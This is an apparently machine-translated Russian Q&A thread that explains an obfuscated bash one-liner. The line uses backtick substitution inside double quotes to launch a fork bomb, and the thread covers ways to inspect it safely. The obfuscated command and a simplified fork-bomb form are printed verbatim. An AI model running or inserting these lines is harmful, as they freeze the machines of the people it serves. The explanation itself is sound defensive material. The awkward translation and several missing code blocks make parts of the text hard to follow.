Найдено на случайной доске чан:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Каким-то образом выполнение этого приводит к бесконечно нерестящемуся процессу, который разгорается и останавливает машину. Я вижу кое-что о том, как "Су" пытались казнить много раз.
... что странно, потому что я просто ожидал, что будет выводиться текст, а не выполнение чего-либо.
Запуск этого текста через онлайн-декодер просто дает мне партию двоичного выброса:
Что на самом деле делает этот беспорядок текста, и есть ли способ «безопасно» его просмотреть?
Ответы:
Сначала давайте посмотрим на всю команду:
Он содержит строку в двойных кавычках, которая отображается в
uudecode
. Но обратите внимание, что внутри строки в двойных кавычках есть строка в обратных кавычках . Эта строка исполняется . Строка:Если мы посмотрим на то, что в нем, мы увидим три команды:
Выполняя раскладку по средней команде, мы имеем:
Первая строка пытается выполнить бессмысленную команду в фоновом режиме. Это неважно.
Важна вторая строка: она определяет функцию,
r
которая при запуске запускает две свои копии. Каждая из этих копий, конечно, запустит еще две копии. И так далее.Третья линия бежит
r
, начиная бомбу вилки.Остальная часть кода, за пределами строки в кавычках, просто бессмысленна для запутывания.
Как выполнить команду безопасно
Этот код можно безопасно выполнить, если мы установим ограничение на уровень вложенности функций. Это можно сделать с помощью
FUNCNEST
переменной bash . Здесь мы устанавливаем его,2
и это останавливает рекурсию:Сообщения об ошибках выше , показывает , что (а) команду нонсенса
rYWdl
иY29j
не будет найдено, (б) вилка бомба получает многократно остановленные FUNCNEST, и (с) на выходеecho
не начинается с ,begin
и, следовательно, не является действительным входом дляuudecode
.Вилочная бомба в простейшем виде
Как бы выглядела вилочная бомба, если бы мы убрали затемнение? Как показывают njzk2 и gerrit, это будет выглядеть так:
Мы можем упростить это еще дальше:
Это состоит из двух утверждений: одно определяет функцию fork-bomb
r
и второе работаетr
.Весь другой код, в том числе и канал
uudecode
, был там только для маскировки и неверного направления.Оригинальная форма имела еще один слой неверного направления
ОП предоставил ссылку на обсуждение на форуме, на котором появился этот код. Как представлено там, код выглядел следующим образом:
Обратите внимание на один из первых комментариев об этом коде:
В форме на доске объявлений можно наивно полагать, что проблемой будет
eval
утверждение, работающее на выходеuudecode
. Это может привести к мысли, что удалениеeval
решит проблему. Как мы видели выше, это ложно и опасно.источник
uudecode
это совершенно не имеет значения здесь. Какое-то время я думал, чтоuudecode
выполняю интерполяцию строк с обратными кавычками, что делает его принципиально небезопасным, но разветвленная бомба происходит до того, как uudecode запускается вообще.&
там:echo "`r()(r&r);r`"
.Чтобы ответить на вторую часть вашего вопроса:
Чтобы разрядить эту строку, замените внешние двойные кавычки одинарными кавычками и избегайте одинарных кавычек, встречающихся внутри строки. Таким образом, оболочка не будет выполнять какой-либо код, и вы фактически передаете все прямо
uudecode
:Другие альтернативы отмечены в комментариях:
касперд предложил :
Джейкоб Кралл предложил использовать текстовый редактор, вставить содержимое, а затем передать этот файл в uudecode.
источник
uudecode
в командной строке. Нажмите Ввод. Скопируйте и вставьте строку для декодирования.uudecode
.echo "foo`die`bar'`die`'baz"
первую! То есть, если в нем есть'
s, то замена кавычек одинарными будет недостаточной.На первый взгляд вы можете подумать, что вывод в оболочку никогда не будет выполнен . Это все еще правда . Проблема уже во входе . Основным трюком здесь является то, что программисты называют приоритетом операторов . Это порядок, в котором оболочка пытается обработать ваш ввод:
Ошибка в том, чтобы думать, что
echo
это будет первая команда, которая будет выполнена,uudecode
вторая. Оба из них никогда не будут достигнуты.Вывод: двойные кавычки всегда опасны на оболочке.
источник